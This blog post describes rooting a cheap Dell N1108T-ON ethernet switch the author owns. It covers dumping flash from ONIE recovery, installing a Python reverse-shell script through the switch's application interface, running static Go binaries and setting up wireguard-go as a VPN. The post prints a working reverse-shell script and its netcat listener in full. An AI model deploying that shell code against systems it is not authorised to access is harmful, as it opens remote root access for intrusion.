Jun 13 2019
Teaching a cheap ethernet switch new tricks
Ethernet rules everything around us, a large proportion of our systems communicate to each other with ethernet somewhere in the line. And the fast pace race to the bottom for embedded systems means that almost all network equipment is smart to some degree these days.
One of the bright sides of this is that where there are smart things, there is generally Linux too. This is handy since Linux is practically eating the world and is familiar to many of us. At this point even lower end ethernet switches that used to be confined to turnkey chips are now also “smart” enough to be running Linux.
We are also in an interesting time where we have projects like the Open Compute Project that aim to make the hardware itself open between vendors. The resulting product from most Open Compute Project devices are “bare metal switches” that have the hardware to switch packets but no operating system to drive them. The operating system part for open switches (and participating non open design switches) is dealt with by a system called ONIE (Open Network Install Environment)
ONIE provides a mostly standardised boot environment that can be used to install other boot environments. From what it feels like the majority of users of ONIE use it to install Cumulus OS, a commercial debian based OS that is tuned for switches.
I went on the hunt for ONIE enabled switches, my original intention was to find cheaper ways to shift low volumes of traffic (aka, integrated VPN or out of band vpn+switch) but factors at work made me realise that that was a solution that wasn’t going to be accepted, so I took it up for fun instead. Sadly since the majority of these switches are aimed at datacenter deployments they are generally unsuitable for use on my desk. Often lacking gigabit copper ethernet ports, or even lacking anything slower than 10 gigabit full stop. On top these switches would be aggressively priced out of my budget, and have loud active cooling.
That was until I found the Dell N1100 series, or more specifically the Dell N1108T-ON.
The marketing and manuals claimed this tiny 8 port switch had ONIE support. And I found a cheap vendor that sold refurbished ones for around 85 GBP. It was a done deal.
Switch Probing
Upon first launch, we see that we have a pretty standard boring admin UI:
The real fun starts over the USB serial port:
[11555.128185] usb 3-4.1: New USB device found, idVendor=0403, idProduct=6015, bcdDevice=10.00
[11555.128188] usb 3-4.1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[11555.128189] usb 3-4.1: Product: FT230X Basic UART
[11555.128190] usb 3-4.1: Manufacturer: FTDI
[11555.128191] usb 3-4.1: SerialNumber: DN03MXGK
[11555.136388] ftdi_sio 3-4.1:1.0: FTDI USB Serial Device converter detected
[11555.136413] usb 3-4.1: Detected FT-X
[11555.136629] usb 3-4.1: FTDI USB Serial Device converter now attached to ttyUSB0
Dell nicely integrated a little FTDI serial converter into the switch, this is a nice improvement from the land of Cisco style console cables that are the bane of my existence in other scenarios due to subtle vendor differences.
Anyway, over the serial console we can see
If we interact with the boot process, we can see that we can boot into ONIE Recovery mode! This is handy since the shell on the main OS only gives access to switch configuration.
With a little probing we can take a look at our surroundings:
ONIE:/ # uname -m
armv7l
ONIE:/ # uname -r
4.4.0-Broadcom XLDK-3.8.1
This kernel is actually pretty new! This is a good sign for us, since embedded devices have a habit of running reasonably old kernels with limited features. The downside is that there is generally very limited support for ONIE devices running arm, and after a large amount of searching, there are no compatible ONIE images for this device at all, other than the already installed Dell OS.
So clearly we need to start hacking based on what we already have, since making ONIE images is a lot of effort and is generally locked down to those who have SDKs that are behind NDAs with Broadcom.
ONIE:/ # ls -alh /bin/sh
lrwxrwxrwx 1 root 0 7 Feb 28 2017 /bin/sh -> busybox
We can also see that we are inside a busybox system, so most of the utils are going to look like standard coreutils, but have features missing.
ONIE:/dev # ls -alh | grep mtd
lrwxrwxrwx 1 root 0 9 Jan 1 00:00 mtd-diags -> /dev/mtd4
lrwxrwxrwx 1 root 0 9 Jan 1 00:00 mtd-onie -> /dev/mtd5
lrwxrwxrwx 1 root 0 9 Jan 1 00:00 mtd-open -> /dev/mtd6
lrwxrwxrwx 1 root 0 9 Jan 1 00:00 mtd-shmoo -> /dev/mtd2
lrwxrwxrwx 1 root 0 9 Jan 1 00:00 mtd-sys_eeprom -> /dev/mtd3
lrwxrwxrwx 1 root 0 9 Jan 1 00:00 mtd-uboot -> /dev/mtd0
lrwxrwxrwx 1 root 0 9 Jan 1 00:00 mtd-uboot-env -> /dev/mtd1
crw-rw---- 1 root 0 90, 0 Feb 28 2017 mtd0
crw-rw---- 1 root 0 90, 2 Feb 28 2017 mtd1
crw-rw---- 1 root 0 90, 4 Feb 28 2017 mtd2
crw-rw---- 1 root 0 90, 6 Feb 28 2017 mtd3
crw-rw---- 1 root 0 90, 8 Feb 28 2017 mtd4
crw-rw---- 1 root 0 90, 10 Feb 28 2017 mtd5
crw-rw---- 1 root 0 90, 12 Feb 28 2017 mtd6
crw-rw---- 1 root 0 90, 14 Feb 28 2017 mtd7
We can also see that the system boots directly from a MTD device with some handy symlinks prepopulated for us to look at. So it’s now a decent time to see if we can get the contents of these MTD devices out and give them a poke around:
ONIE:/dev # mount /dev/sda1 /usb
ONIE:/dev # dd if=/dev/mtd-diags of=/usb/SWITCH/mtd-diags
Using binwalk we can scan over these images for clues of what lives inside them. Sadly, the mtd devices just seem to contain uboot and kernel images:
Scan Time: 2019-06-08 19:00:17
Target File: /media/ben/0300-88EE/SWITCH/mtd-onie
MD5 Checksum: 40854e6964529efa644be69840f67ef9
Signatures: 344
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
639045 0x9C045 Certificate in DER format (x509 v3), header length: 4, sequence length: 1284
4348305 0x425991 Certificate in DER format (x509 v3), header length: 4, sequence length: 1432
4361413 0x428CC5 Certificate in DER format (x509 v3), header length: 4, sequence length: 5376
5394768 0x525150 Linux kernel version "4.4.0-Broadcom XLDK-3.8.1 (pchockalingam@pchockalingam-OptiPlex-9020) (gcc version 4.9.3 (Buildroot 2015.11.1) ) #31 SMP PREEMPT
5410352 0x528E30 gzip compressed data, maximum compression, from Unix, NULL date (1970-01-01 00:00:00)
Scan Time: 2019-06-08 19:00:12
Target File: /media/ben/0300-88EE/SWITCH/mtd-diags
MD5 Checksum: c3b7061af82df2162320dcf441fdc379
Signatures: 344
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 uImage header, header size: 64 bytes, header CRC: 0xE2DF26B4, created: 2017-06-15 01:17:16, image size: 15332548 bytes, Data Address: 0x61008000, Entry Point: 0x61008000, data CRC: 0xD34EB79E, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: "Image"
2298289 0x2311B1 Certificate in DER format (x509 v3), header length: 4, sequence length: 1284
...
4718756 0x4800A4 Linux kernel version "3.6.5-Broadcom Linux (tony@B3S1SVN) (gcc version 4.7.2 (Broadcom Linux) ) #721 SMP Thu Jun 15 09:17:04 CST 2017 (XLDK-3.6.5)"
4723212 0x48120C CRC32 polynomial table, little endian
4736828 0x48473C gzip compressed data, maximum compression, from Unix, NULL date (1970-01-01 00:00:00)
5411103 0x52911F Unix path: /arm/plat-iproc/../../../../../bcmdrivers/qspi/qspi_iproc.c
5413548 0x529AAC Unix path: /arm/plat-iproc/../../../../../bcmdrivers/sd/iproc_sdhci.c
...
15152640 0xE73600 CRC32 polynomial table, little endian
We can see based on this binwalk output that the kernel we are running in the ONIE recovery mode is newer than the one that runs the switch itself (and is built by “pchockalingam” on a OptiPlex-9020 apparently) , this is slightly saddening since that means then main OS that we need to hack is older than we originally thought, but first we have to actually get a root shell in the main OS!
The other thing we can infer from these MTD dumps is that the vast majority of the flash (900MB of it) is used as a UBI device:
Scan Time: 2019-06-08 19:01:12
Target File: /media/ben/0300-88EE/SWITCH/mtd-open
MD5 Checksum: 87e67e50132e9f584f4212cc88f8c977
Signatures: 344
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 UBI erase count header, version: 1, EC: 0x1, VID header offset: 0x1000, data offset: 0x2000
So alas, we are grounded to the OS image that Dell has already installed on the device, so how do we run our own code on it?
Alt-Shells
Poking around the console outputs we can pick up a few paths to explore:
Extracting Operational Code from .stk file...done.
Loading Operational Code...done.
Decompressing Operational Code...done.
Uncompressing apps.lzma
Uncompressing python.lzma
Installing Python
So we clearly have python installed on the device, this is likely what the device runs as it’s admin UI that we already saw.
After a quick look around the command line interface, I discovered that I also have a way to look around some part of the file system:
console>enable
console#dir
Attr Size(bytes) Creation Time Name
drwx 3368 Jun 09 2019 01:59:28 .
drwx 0 May 24 2017 09:07:39 ..
-rw 96 Jun 09 2019 01:59:39 snmpOprData.cfg
--- 0 Apr 17 2019 02:22:16 fsyssize
-rw 156 Apr 17 2019 02:00:16 dh512.pem
-rw 27358384 Dec 14 2018 21:28:33 image1
-rwx 26544053 Jun 08 2017 09:21:57 image2
... blah
-rw 16328 Jun 03 2019 00:15:29 log-1.bin
Total Size: 781512704
Bytes Used: 58383099
Bytes Free: 723129605
Poking around more, I found an applications interface:
console#application ?
start Start an installed application.
stop Stop a running application.
After a bunch of googling later I found a manual on how to use this platform
To start with, I really just wanted to see if I can just get a shell, thus:
$ cat rshell.py
#!/usr/bin/env python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.2.164",80))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
$ tar -cvzf lol.tar.gz rshell.py
rshell.py
Using this tarball we can install it:
console#copy usb://lol.tar.gz application lol.tar.gz
Transfer Mode.................................. Binary
Data Type...................................... Application
Downloads application file
Management access will be blocked for the duration of the transfer
Are you sure you want to start? (y/n) y
File transfer in progress. Management access will be blocked for the duration of the transfer. please wait...
Application file download completed successfully.
console(config)#application install rshell.py
console(config)#show application
OpEN application table contains 2 entries.
Name StartOnBoot AutoRestart CPU Sharing Max Memory
---------------- ----------- ----------- ----------- ----------
SupportAssist Yes Yes 0 0
rshell.py No No 0 0
console(config)#exit
console#application start rshell.py
Application started.
And to my amazement, the reverse shell attempt worked first time(!)
[19:38:17] ben@metropolis:~$ sudo nc -v -l -p 80
[sudo] password for ben:
Listening on [0.0.0.0] (family 0, port 80)
Connection from 192.168.2.163 36686 received!
/bin/sh: can't access tty; job control turned off
# ps | grep grep
1654 root 1844 S grep grep
# uname -m
armv7l
# uname -r
3.6.5-Broadcom Linux-fcf6186d
# pwd
/mnt/fastpath
# ls -alh /bin/sh
lrwxrwxrwx 1 root root 7 May 24 2017 /bin/sh -> busybox
This is great! We are root, on a very similar system to the recovery environment, with reliable means to get a root shell!
More than just Python
Giving that applications are tarballs and that the python scripts provided must start with “#!/usr/bin/env python” I suspected that the system was just launching them straight up rather than involving a python parser. So assuming we could produce binaries that compiled to arm and had the correct dependencies linked into the binary (aka static linking) then we could avoid Python all together.
As it happens this is really easy in Go:
ben@metropolis:~/dell-N1100-tricks/hello-world$ cat main.go
package main
import "fmt"
func main() {
fmt.Println("Hello from the switch")
}
ben@metropolis:~/dell-N1100-tricks/hello-world$ GOARCH=arm go build
ben@metropolis:~/dell-N1100-tricks/hello-world$ ls -alh hello-world
-rwxr-xr-x 1 ben ben 1.9M Jun 9 15:34 hello-world
ben@metropolis:~/dell-N1100-tricks/hello-world$ file hello-world
hello-world: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, not stripped
ben@metropolis:~/dell-N1100-tricks/hello-world$ tar -cvzf asd.tar.gz hello-world
Then on the switch:
console#copy usb://asd.tar.gz application asd.tar.gz
Transfer Mode.................................. Binary
Data Type...................................... Application
Downloads application file
Management access will be blocked for the duration of the transfer
Are you sure you want to start? (y/n) y
File transfer in progress. Management access will be blocked for the duration of the transfer. please wait...
Application file download completed successfully.
console(config)#application install hello-world
console(config)#exit
console#application start hello-worldHello from the switch
Application started.
It works! This is big news since there is a large community behind Go libraries, and since the binaries that go produces are automatically statically linked (as long as you don’t import C dependencies), we can easily develop against the switch without worrying that we are going to bump into lack of dependency issues on the switch’s operating system.
The first thing it called for is a SSH server that dumped you into a shell automatically:
# # Based on https://gist.github.com/jpillora/b480fde82bff51a06238
ben@metropolis:~$ ssh -p 2200 foo@192.168.2.163 he
# /bin/sh: can't access tty; job control turned off
# pwd
/mnt/fastpath
#
Sadly I could not get ptty’s working, meaning that for now the example just spawns a shell in interactive mode, better than running a reverse shell every time you want to get root access to the switch though!
A cheap 8 port VPN device
Giving the low cost of this device, and the fact it runs a freely rootable OS, it would make a nice out of band switch with a VPN uplink. However for this we need to check if the kernel that we are stuck on can support TUN/TAP devices, luckily this is easy since the kernel itself was compiled with CONFIG_IKCONFIG_PROC=y meaning that the whole kernel config is in /proc/config.gz making it easy to check what the kernel supports:
# zcat /proc/config.gz | grep CONFIG_TUN
CONFIG_TUN=y
This is great, this means we can create TUN/TAP devices on this system, We can use this feature to bring up wireguard tunnels to provide safe and encrypted access to the device. Wireguard for Linux is a kernel module, however with some small patching you can also use the wireguard-go implementation for devices where you can’t load modules.
# WG_I_PREFER_BUGGY_USERSPACE_TO_POLISHED_KMOD=1 ./wireguard-go test
WARNING WARNING WARNING WARNING WARNING WARNING WARNING
W G
W You are running this software on a Linux kernel, G
W which is probably unnecessary and foolish. This G
W is because the Linux kernel has built-in first G
W class support for WireGuard, and this support is G
W much more refined than this slower userspace G
W implementation. For more information on G
W installing the kernel module, please visit: G
W https://www.wireguard.com/install G
W G
WARNING WARNING WARNING WARNING WARNING WARNING WARNING
INFO: (test) 2019/06/10 00:22:04 Starting wireguard-go version v0.0.20190517-15-gda61947-dirty
# ip l
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN mode DEFAULT group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000
link/ether e4:f0:04:18:e7:86 brd ff:ff:ff:ff:ff:ff
3: sit0: <NOARP> mtu 1280 qdisc noop state DOWN mode DEFAULT group default
link/sit 0.0.0.0 brd 0.0.0.0
4: ip6tnl0: <NOARP> mtu 1452 qdisc noop state DOWN mode DEFAULT group default
link/tunnel6 :: brd ::
5: dtl0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 500
link/ether e4:f0:04:18:e7:85 brd ff:ff:ff:ff:ff:ff
6: test: <POINTOPOINT,MULTICAST,NOARP> mtu 1420 qdisc noop state DOWN mode DEFAULT group default qlen 500
link/none
Giving wireguard-go really does not want to load on Linux. You need to pass it some encouragement in the form of an environment variable, after that we can confirm that the new “test” interface is running. At this point wireguard-go is running in the background, and is waiting for configuration.
At this point we need to compile the CLI tools for wireguard called “wg”, this is a C program that is designed to work for both the Linux kernel module and the tun/tap server variant. However for it to be easily compilable for this target, I stripped out the support for the module for compilation simplicity, and got to work cross compiling to arm:
$ sudo apt-get install gcc make gcc-arm-linux-gnueabi binutils-arm-linux-gnueabi
$ make SHARED=0 CC='arm-linux-gnueabi-gcc -static -mabi=aapcs-linux -mcpu=cortex-a9 --no-float-store' --trace
Once it’s on the switch, we can use the tool to set up a config, and standard system tools to give the interface an IP address.
# ./wg setconf test test.conf
# ./wg
interface: test
public key: P3i+7BLxbtormgHRzPglOxrGQ4mpvFw9/ZKH8SPdPkU=
private key: (hidden)
listening port: 9999
peer: Sijbz2dMX6fs53HgITe2SH2unR1IdRPjwOcmI0RSWFI=
endpoint: 192.168.2.1:9999
allowed ips: 25.25.25.0/24
# ip addr add 25.25.25.3/24 dev test
# ip link set test up
# ping 25.25.25.2
PING 25.25.25.2 (25.25.25.2): 56 data bytes
64 bytes from 25.25.25.2: seq=0 ttl=64 time=2.908 ms
64 bytes from 25.25.25.2: seq=1 ttl=64 time=2.640 ms
# ./wg
interface: test
public key: P3i+7BLxbtormgHRzPglOxrGQ4mpvFw9/ZKH8SPdPkU=
private key: (hidden)
listening port: 9999
peer: Sijbz2dMX6fs53HgITe2SH2unR1IdRPjwOcmI0RSWFI=
endpoint: 192.168.2.1:9999
allowed ips: 25.25.25.0/24
latest handshake: 10 seconds ago
transfer: 1.39 KiB received, 2.12 KiB sent
And as you can see, we have turned this cheap 8 port switch into a wireguard capable device. This setup is easy to automate using the previously mentioned applications interface.
Under the hood pics
BCM53443B0KFSBG (24 Port 1 GB ethernet + 4 10GB ethernet Switch chip) | |
BCM54220B0KFBG - Ethernet PHY for the SFP ports | |
Copper Ethernet Isolation | |
1GB of Micron Flash NAND |
Power consumption on this device is great with the power supply being rated for 25W, but the actual nominal consumption being just 5W.
Conclusion
The future is very interesting! With these kinds of devices becoming more and more common thanks to the cost improvements with adding smart control planes, I suspect we will soon see a lot of low/mid tier routers just disappear into switches. This has already somewhat happened, but with chipsets like BCM53443B0KFSBG existing, there isn’t much reason left to not just make smart switches that also route (keep an eye out for devices that are running fastpath, they are likely smarter than you think they are!).
If you are interested in seeing some of the utils yourself (they are not really that special) then you can find the github repo where I dumped a bunch of working directories here: https://github.com/benjojo/dell-N1100-tricks
I hope to end up doing some more hardware posts in the coming months when I find the time, if that is your kind of thing then you can stay up to date with this blog by following me on twitter or using the blog’s RSS feed
Until next time!
Related Posts:
Ludicrously cheap HDMI capture for Linux (2016)
IP over AX.25 over 802.11 with ESP8266 (2017)
Random Post: